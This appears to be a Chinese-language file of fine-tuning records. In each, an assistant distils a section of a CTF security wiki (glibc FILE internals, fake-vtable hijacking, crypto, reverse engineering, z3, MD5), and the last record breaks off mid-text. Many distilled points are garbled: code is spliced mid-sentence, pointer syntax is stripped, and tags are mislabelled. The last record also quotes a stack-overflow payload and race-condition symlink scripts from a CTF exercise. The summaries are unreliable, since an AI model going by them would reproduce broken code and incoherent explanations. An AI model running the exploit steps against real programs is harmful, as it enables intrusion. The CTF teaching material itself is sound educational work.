{"category": "pwn", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-14758b911841ce129f88", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/io-file/introduction.md` 中的章节「fopen」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/io-file/introduction.md`\n标题：FILE结构\n章节：else > fopen\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“fopen”展开。\n- 因此我们可以获知FILE结构是存储在堆上的 ` new_f = (struct locked_FILE ) malloc (sizeof (struct locked_FILE));\n- fp->file._chain = (_IO_FILE ) _IO_list_all;\n- fopen在标准IO库中用于打开文件，函数原型如下 `` FILE fopen(char filename, type);\n- ` filename:目标文件的路径 type:打开方式的类型 返回值:返回一个文件指针 在fopen内部会创建FILE结构并进行一些初始化操作，下面来看一下这个过程 首先在fopen对应的函数__fopen_internal内部会调用malloc函数，分配FILE结构的空间。\n- ` 之后会为创建的FILE初始化vtable，并调用_IO_file_init进一步初始化操作 ` _IO_JUMPS (&new_f->fp) = &_IO_file_jumps;\n\n关键术语：\n- 堆\n- AI安全\n- pwn\n- linux\n- user-mode\n- io-file\n\n代码/命令片段线索：\n- plain: 1 行，首行 `FILE *fopen(char *filename, *type);`\n- plain: 1 行，首行 `*new_f = (struct locked_FILE *) malloc (sizeof (struct locked_FILE));`\n- plain: 2 行，首行 `_IO_JUMPS (&new_f->fp) = &_IO_file_jumps;`\n- plain: 12 行，首行 `void`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1086, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "fopen", "heading_path": ["else", "fopen"], "original_id": "docs-ce9659f4d64a08a38dc4", "original_line": 1211, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/io-file/introduction.md", "source_root": "docs", "source_sha256": "cb6cf56af2c8c526d0304c33b1de80b90361eeb7e677460850bf168879808566", "split": "train", "split_group_key": "5d25d2c7a3a9e4de57999a83", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "pwn", "linux", "user-mode", "io-file"], "title": "FILE结构"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/io-file/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "introduction", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-18741c76d845926df088", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/introduction/experience.md` 中的章节「关注 Gamebox 状态」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/introduction/experience.md`\n标题：线下攻防经验小结\n章节：线下攻防经验小结 > 关注 Gamebox 状态\n路径分类：introduction / introduction/experience.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“关注 Gamebox 状态”展开。\n- 在程序 patch 完之后要进入下一轮关注 GameBox 状态，如果 patch 失误导致不可用，需要及时挽救。\n- 因为 down 掉是所有队平分得很少的分，而直接上漏洞程序会使得强势的队伍直接利用得到很高的得分。\n- 但是也不要过度担心把原来的未修补过的漏洞程序换回去。\n- 3. 对手不正当攻击导致 GameBox 不可用。\n- 1. 根据攻击流观测哪些队伍的 GameBox 没有防御成功。\n\n关键术语：\n- 修复/缓解\n- 漏洞利用\n- experience.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "introduction", "chars": 599, "chunk_count": 1, "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "ai", "heading": "关注 Gamebox 状态", "heading_path": ["线下攻防经验小结", "关注 Gamebox 状态"], "original_id": "docs-4fd6307364334db63f6e", "original_line": 521, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "introduction/experience.md", "source_root": "docs", "source_sha256": "e592320dcfc0ecda96a25a0b459d8a88f3cc2a78f546ee90f9c36ef295764e89", "split": "train", "split_group_key": "abf44481cf1c9adc34f70db4", "subcategory": "introduction/experience.md", "terms": ["修复/缓解", "漏洞利用", "experience.md"], "title": "线下攻防经验小结"}, "source_dataset": "docs_distilled_v1", "source_path": "introduction/experience.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-1c23198ee0aa534e5198", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/io-file/fake-vtable-exploit.md` 中的章节「思路：」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/io-file/fake-vtable-exploit.md`\n标题：伪造vtable劫持程序流程\n章节：伪造vtable劫持程序流程 > 2018 HCTF the_end > 思路：\n路径分类：pwn / pwn/linux/user-mode\n分块：2/2\n\n核心知识点：\n- 本节主题围绕“思路：”展开。\n- L, // pbackfail 8 NULL, // xsputn #printf 9 NULL, // xsgetn 10 NULL, // seekoff 11 NULL, // seekpos 12 NULL, // setbuf 13 NULL, // sync 14 NULL, // doallocate 15 NULL, // read 16 NULL, // write 17 NULL, // seek 18 pwn, // close 19 NULL, // stat 20 NULL, //...\n\n关键术语：\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- io-file\n\n代码/命令片段线索：\n- plain: 1 行，首行 `我这里选择了以下地址作为 `fake_vtable` ：`\n- plain: 1 行，首行 `最终的利用脚本如下：`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 3074, "chunk_count": 2, "chunk_index": 1, "ctf_score": 22, "ctf_task_type": "ai", "heading": "思路：", "heading_path": ["伪造vtable劫持程序流程", "2018 HCTF the_end", "思路："], "original_id": "docs-679f90517831c111372c", "original_line": 1203, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/io-file/fake-vtable-exploit.md", "source_root": "docs", "source_sha256": "6abaf58d0989bf6ef56368c833bf7312abfa1c66a814f4f3a9876022d3e7e325", "split": "train", "split_group_key": "000d9ca7d620471c2f0ed06d", "subcategory": "pwn/linux/user-mode", "terms": ["AI安全", "漏洞利用", "pwn", "linux", "user-mode", "io-file"], "title": "伪造vtable劫持程序流程"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/io-file/fake-vtable-exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-1cf89e6f1801375dc39c", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/basic/introduction.md` 中的章节「代数系统和近世代数」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/basic/introduction.md`\n标题：基础数学知识\n章节：基础数学知识 > 代数系统和近世代数\n路径分类：crypto / crypto/basic/introduction.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“代数系统和近世代数”展开。\n- 在一个集合中，如若有一种或多种代数运算（Algebraic Operation），我们往往会笼统地称它为代数系统（Algebraic System），也称代数结构（Algebraic Structure）。\n- 经过定义合适的代数运算，集合可以作成群、环、域、格等代数系统，这也是笔者行将介绍的。\n- 作为一个不断进步完善的数学分支，代数学的研究范围也逐渐扩大，其关注的集合亦从古典的整数、有理数、实数与复数等常见数集，扩展到矢量、矩阵、线性算子等对象，并着眼于定义在它们之上的代数运算。\n- 这类课题共同组成了如今的近世代数（Modern Algebra）学科，或言抽象代数（Abstract Algebra）。\n- 上文提到的代数运算，是定义在集合中的元素之间的法则，亦与集合是否能作成代数系统有着密切关联，它们扩展自常见的加减乘除这样的运算。\n\n关键术语：\n- 密码学\n- AI安全\n- crypto\n- basic\n- introduction.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 390, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "代数系统和近世代数", "heading_path": ["基础数学知识", "代数系统和近世代数"], "original_id": "docs-cfc559fbb9bdbc1efb88", "original_line": 14, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/basic/introduction.md", "source_root": "docs", "source_sha256": "6bd61ccc5c5b508b02ed9bd72f41166b716765584fc608abb06dafa277590d6f", "split": "train", "split_group_key": "fd7c95105c500fc196791484", "subcategory": "crypto/basic/introduction.md", "terms": ["密码学", "AI安全", "crypto", "basic", "introduction.md"], "title": "基础数学知识"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/basic/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-1d60d2710a28f14dab2f", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/obfuscate/smc.md` 中的章节「例题：GWCTF 2019 - re3」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/obfuscate/smc.md`\n标题：Self-Modified Code\n章节：Self-Modified Code > 例题：GWCTF 2019 - re3\n路径分类：reverse / reverse/obfuscate/smc.md\n分块：1/3\n\n核心知识点：\n- 本节主题围绕“例题：GWCTF 2019 - re3”展开。\n- 惯例拖入 IDA，主函数逻辑比较简单，主要是利用 mprotect() 修改代码段权限后再改写 sub_402219() 开头的 234 字节数据，最后再调用 sub_40207B() 与 sub_402219()： ``c void __fastcall __noreturn main(int a1, char a2, char a3) { int i;\n- } ` sub_402219() 首先会调用 sub_400A71()，最终会调用到 sub_4007C6() ，主要作用就是把 0x603170 处的 16 字节拷贝到栈上，这里就不展开了。\n- 接下来会调用两次 sub_40196E() ，第一个参数为拷贝到栈上的 0x603170 处的 16 字节，第二个参数分别为我们的输入 &s[0] 及 &s[16]。\n- 该函数最后会调用到 sub_401828()，非常明显的 AES 加密特征: 初始变换→9轮循环运算→最终运算，调用的几个函数也符合 AES 内部逻辑，这里就不展开了： `c __int64 __fastcall sub_401828(__int64 a1, __int64 a2) { unsigned __int8 i;\n- CODE XREF: main+CA↑p .text:0000000000402219 ;\n\n关键术语：\n- 栈\n- 密码学\n- AI安全\n- 修复/缓解\n- 漏洞利用\n- reverse\n- obfuscate\n- smc.md\n- code:c\n- code:python\n\n代码/命令片段线索：\n- c: 18 行，首行 `void __fastcall __noreturn main(int a1, char **a2, char **a3)`\n- c: 18 行，首行 `.text:0000000000402219 sub_402219 proc near ; CODE XREF: main+CA↑p`\n- python: 2 行，首行 `for i in range(234):`\n- c: 15 行，首行 `.text:0000000000402219 sub_402219 proc near ; CODE XREF: main+CA↑p`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 3915, "chunk_count": 3, "chunk_index": 0, "ctf_score": 18, "ctf_task_type": "ai", "heading": "例题：GWCTF 2019 - re3", "heading_path": ["Self-Modified Code", "例题：GWCTF 2019 - re3"], "original_id": "docs-45dc8608f42489313f65", "original_line": 1485, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/obfuscate/smc.md", "source_root": "docs", "source_sha256": "4d4333813bc20ebd1d5176a2c1cbefd91a88e6f43b6d97597fe7aa1cbbbee5a2", "split": "train", "split_group_key": "5c0beb46775fa876d656b2d8", "subcategory": "reverse/obfuscate/smc.md", "terms": ["栈", "密码学", "AI安全", "修复/缓解", "漏洞利用", "reverse", "obfuscate", "smc.md", "code:c", "code:python"], "title": "Self-Modified Code"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/obfuscate/smc.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-1e2e663bd7e7f26270cd", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/knapsack/knapsack.md` 中的章节「背包问题」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/knapsack/knapsack.md`\n标题：背包加密\n章节：背包加密 > 背包问题\n路径分类：crypto / crypto/asymmetric/knapsack\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“背包问题”展开。\n- 但是，这样又出现了一个问题，由于 $a_i$ 是公开的，如果攻击者截获了密文，那么它也就很容易去破解这样的密码。\n- 为了弥补这样的问题，就出现了 Merkle–Hellman 这样的加密算法，我们可以使用初始的背包集作为私钥，变换后的背包集作为公钥，再稍微改动加密过程，即可。\n- 首先，我们先来介绍一下背包问题，假定一个背包可以称重 W，现在有 n 个物品，其重量分别为 $a_1, a_2,...,a_n$ 我们想问一下装哪些物品可以恰好使得背包装满，并且每个物品只能被装一次。\n- 在加密时，如果我们想要加密的明文为 x，那么我们可以将其表示为 n 位二进制数，然后分别乘上 $a_i$ 即可得到加密结果。\n- 这其实就是在解这样的一个问题 $$ x_1a_1+x_2a_2+,...,+x_na_n=W $$ 其中所有的 $x_i$ 只能为 0 和 1。\n\n关键术语：\n- 密码学\n- AI安全\n- 漏洞利用\n- crypto\n- asymmetric\n- knapsack\n- knapsack.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 694, "chunk_count": 1, "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "ai", "heading": "背包问题", "heading_path": ["背包加密", "背包问题"], "original_id": "docs-dcba0dacf775863bb46e", "original_line": 215, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/knapsack/knapsack.md", "source_root": "docs", "source_sha256": "ef7969d8ae8ab48cf14228a46f93cf1b3dc721afca2d9d8cc7eb6c35cbda0dcf", "split": "train", "split_group_key": "4c533f11a9262eba68ccf31a", "subcategory": "crypto/asymmetric/knapsack", "terms": ["密码学", "AI安全", "漏洞利用", "crypto", "asymmetric", "knapsack", "knapsack.md"], "title": "背包加密"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/knapsack/knapsack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-1ed6902780b4ba0bbdbf", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/certificate/introduction.md` 中的章节「PEM」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/certificate/introduction.md`\n标题：证书格式\n章节：证书格式 > PEM\n路径分类：crypto / crypto/certificate/introduction.md\n分块：1/1\n\n核心知识点：\n- 用 Python 3 和 PyCryptodome 库可以与 PEM 文件交互并提取相关数据。\n- /usr/bin/env python3 from Crypto.PublicKey import RSA with open(\"certificate.pem\",\"r\") as f: key = RSA.import_key(f.read()) print(key.n) ``\n- PEM 以 -----BEGIN 开头，以 -----END 结尾，中间包含 ASN.1 格式的数据。\n- ASN.1 是经过 base64 转码的二进制数据。\n- Wikipedia 上有完整 PEM 文件的例子。\n\n关键术语：\n- 密码学\n- AI安全\n- crypto\n- certificate\n- introduction.md\n- code:py\n\n代码/命令片段线索：\n- py: 5 行，首行 `#!/usr/bin/env python3`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 380, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "PEM", "heading_path": ["证书格式", "PEM"], "original_id": "docs-8db02b2a88ee27511e36", "original_line": 20, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/certificate/introduction.md", "source_root": "docs", "source_sha256": "d7a1d92b7b076f94576ab08ebb8f649a2deafe29b79e9a1932f2369839e329b6", "split": "train", "split_group_key": "c7fb07eb361e7b83b4ab272f", "subcategory": "crypto/certificate/introduction.md", "terms": ["密码学", "AI安全", "crypto", "certificate", "introduction.md", "code:py"], "title": "证书格式"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/certificate/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-1f1c957af0354d317eea", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/tools/constraint/z3.md` 中的章节「约束求解」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/tools/constraint/z3.md`\n标题：z3\n章节：z3 > 基本用法 > 约束求解\n路径分类：reverse / reverse/tools/constraint\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“约束求解”展开。\n- 当我们向求解器中添加约束条件之后，我们可以使用 check() 方法检查约束是否是可满足的（satisfiable，即 z3 是否能够帮我们找到一组解）：\n- ``python >>> s.model() [q = True, p = False, x = 2, y = 4, r = False] ``\n- 对于约束条件比较少的情况，我们也可以无需创建求解器，直接通过 solve() 方法进行求解：\n- ``python >>> z3.solve(z3.Implies(p, q), r == z3.Not(q), z3.Or(z3.Not(p), r)) [q = True, p = False, r = False] ``\n\n关键术语：\n- AI安全\n- reverse\n- tools\n- constraint\n- z3.md\n- code:python\n\n代码/命令片段线索：\n- python: 2 行，首行 `>>> s.check()`\n- python: 2 行，首行 `>>> s.model()`\n- python: 2 行，首行 `>>> z3.solve(z3.Implies(p, q), r == z3.Not(q), z3.Or(z3.Not(p), r))`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 435, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "约束求解", "heading_path": ["z3", "基本用法", "约束求解"], "original_id": "docs-6017f47f0684521d2921", "original_line": 1555, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/tools/constraint/z3.md", "source_root": "docs", "source_sha256": "a16b4230e7629ee9b7c69cbd84da478d04a8ace633ef9a03df2a895d982a8ad3", "split": "train", "split_group_key": "022b56d8e591a70a7c4979a1", "subcategory": "reverse/tools/constraint", "terms": ["AI安全", "reverse", "tools", "constraint", "z3.md", "code:python"], "title": "z3"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/tools/constraint/z3.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-1f1f7c765937e9217b07", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/identify-encode-encryption/introduction.md` 中的章节「MD5」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/identify-encode-encryption/introduction.md`\n标题：常见加密算法和编码识别\n章节：常见加密算法和编码识别 > MD5\n路径分类：reverse / reverse/identify-encode-encryption/introduction.md\n分块：1/1\n\n核心知识点：\n- MD5消息摘要算法（英语：MD5 Message-Digest Algorithm），一种被广泛使用的密码散列函数，可以产生出一个128位（16字节）的散列值（hash value），用于确保信息传输完整一致。\n- MD5由美国密码学家罗纳德·李维斯特（Ronald Linn Rivest）设计，于1992年公开，用以取代MD4算法。\n- 这套算法的程序在 RFC 1321 中被加以规范。\n\n关键术语：\n- 密码学\n- AI安全\n- reverse\n- identify-encode-encryption\n- introduction.md\n- code:c\n\n代码/命令片段线索：\n- plain: 54 行，首行 `/Note: All variables are unsigned 32 bits and wrap modulo 2^32 when calculating`\n- c: 4 行，首行 `h0 = 0x67452301;`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 2343, "chunk_count": 1, "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "ai", "heading": "MD5", "heading_path": ["常见加密算法和编码识别", "MD5"], "original_id": "docs-4f61f59908373049e08c", "original_line": 1476, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/identify-encode-encryption/introduction.md", "source_root": "docs", "source_sha256": "42a9e7f8a466122cdf713c3924803d4330afbf3adfb0d5c278d1ff2d658c2f61", "split": "train", "split_group_key": "8f19bf229c0a4975bdb17ff7", "subcategory": "reverse/identify-encode-encryption/introduction.md", "terms": ["密码学", "AI安全", "reverse", "identify-encode-encryption", "introduction.md", "code:c"], "title": "常见加密算法和编码识别"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/identify-encode-encryption/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-1fa52b3f733208732f3e", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/io-file/introduction.md` 中的章节「FILE介绍」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/io-file/introduction.md`\n标题：FILE结构\n章节：FILE结构 > FILE介绍\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“FILE介绍”展开。\n- FILE结构在程序执行fopen等函数时会进行创建，并分配在堆中。\n- FILE结构定义在libio.h中，如下所示 ```c struct _IO_FILE { int _flags;\n- / This used to be _offset but it's too small. / #define __HAVE_COLUMN / temporary / / 1+column number of pbase();\n- / Current read pointer / char _IO_read_end;\n- / Start of putback+get area. / char _IO_write_base;\n\n关键术语：\n- 堆\n- AI安全\n- pwn\n- linux\n- user-mode\n- io-file\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1661, "chunk_count": 1, "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "ai", "heading": "FILE介绍", "heading_path": ["FILE结构", "FILE介绍"], "original_id": "docs-a63b4f6b1bb0f4770ca4", "original_line": 1207, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/io-file/introduction.md", "source_root": "docs", "source_sha256": "cb6cf56af2c8c526d0304c33b1de80b90361eeb7e677460850bf168879808566", "split": "train", "split_group_key": "b7de766ede4d6a9b6eb85081", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "pwn", "linux", "user-mode", "io-file"], "title": "FILE结构"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/io-file/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "introduction", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-1fb23a346b6867017128", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/introduction/mode.md` 中的章节「计分规则」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/introduction/mode.md`\n标题：CTF 竞赛模式简介\n章节：CTF 竞赛模式简介 > 战争分享模式 - Belluminar > 计分规则\n路径分类：introduction / introduction/mode.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“计分规则”展开。\n- 计分公式示例： Score = MaxScore -- | N -- Expect＿N | 。\n- 出题积分（占总分 30%）有 50% 由评委根据题目提交的详细程度，完整度，提交时间等进评分，另外 50% 则根据比赛结束后的最终解题情况进行评分。\n- 只有当题目难度适中，解题队伍数量越接近预期数量 Expect＿N，则这道题的出题队伍得到的出题积分越高。\n- 分享积分（占 10%）由评委和其他队伍根据其技术分享内容进行评分得出（考虑分享时间以及其他限制），会计算平均值。\n- N 代表解出该题的队伍数量，而 Expect＿N 则是这道题预期解出的题目数量。\n\n关键术语：\n- mode.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "introduction", "chars": 314, "chunk_count": 1, "chunk_index": 0, "ctf_score": 18, "ctf_task_type": "ai", "heading": "计分规则", "heading_path": ["CTF 竞赛模式简介", "战争分享模式 - Belluminar", "计分规则"], "original_id": "docs-4bb7b40eaae5aaf6ddd1", "original_line": 530, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "introduction/mode.md", "source_root": "docs", "source_sha256": "9774ac81ffff01cd90bdfd0fb47d6ac1184f2be9bf8f65f821cbc367b8ac02d9", "split": "train", "split_group_key": "ebb46777f9414d189cbc1815", "subcategory": "introduction/mode.md", "terms": ["mode.md"], "title": "CTF 竞赛模式简介"}, "source_dataset": "docs_distilled_v1", "source_path": "introduction/mode.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "ai", "dataset": "ctf-dataset", "id": "ctf-lora-216eaeef1ab659b3d209", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/race-condition/problem.md` 中的章节「基本思路」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/race-condition/problem.md`\n标题：题目\n章节：题目 > 构造例子 > 基本思路\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“基本思路”展开。\n- 那么我们只要通过栈溢出修改对应的main函数的返回地址即可，通过反汇编以及调试可以获得showflag的地址，获得对应的payload ``python ➜ racetest cat payload.py from pwn import test = ELF('./test') payload = 'a' 0x100 + 'b' * 8 + p64(test.symbols['showflag']) open('big', 'w').write(payload) ` 对应两个条件竞争的脚本为 `sh ➜ ra...\n- /bin/sh for i in seq 1000 do ./test fake done `` 其中 exp 用于来竞争在相应的窗口内删除 fake 文件，同时执行符号链接。\n- /bin/sh for i in seq 500 do cp small fake sleep 0.000008 rm fake ln -s big fake rm fake done ➜ racetest cat run.sh #!\n- 那么，基本思路来了，我们是想要获得对应的flag的内容。\n\n关键术语：\n- 边界/溢出\n- 栈\n- 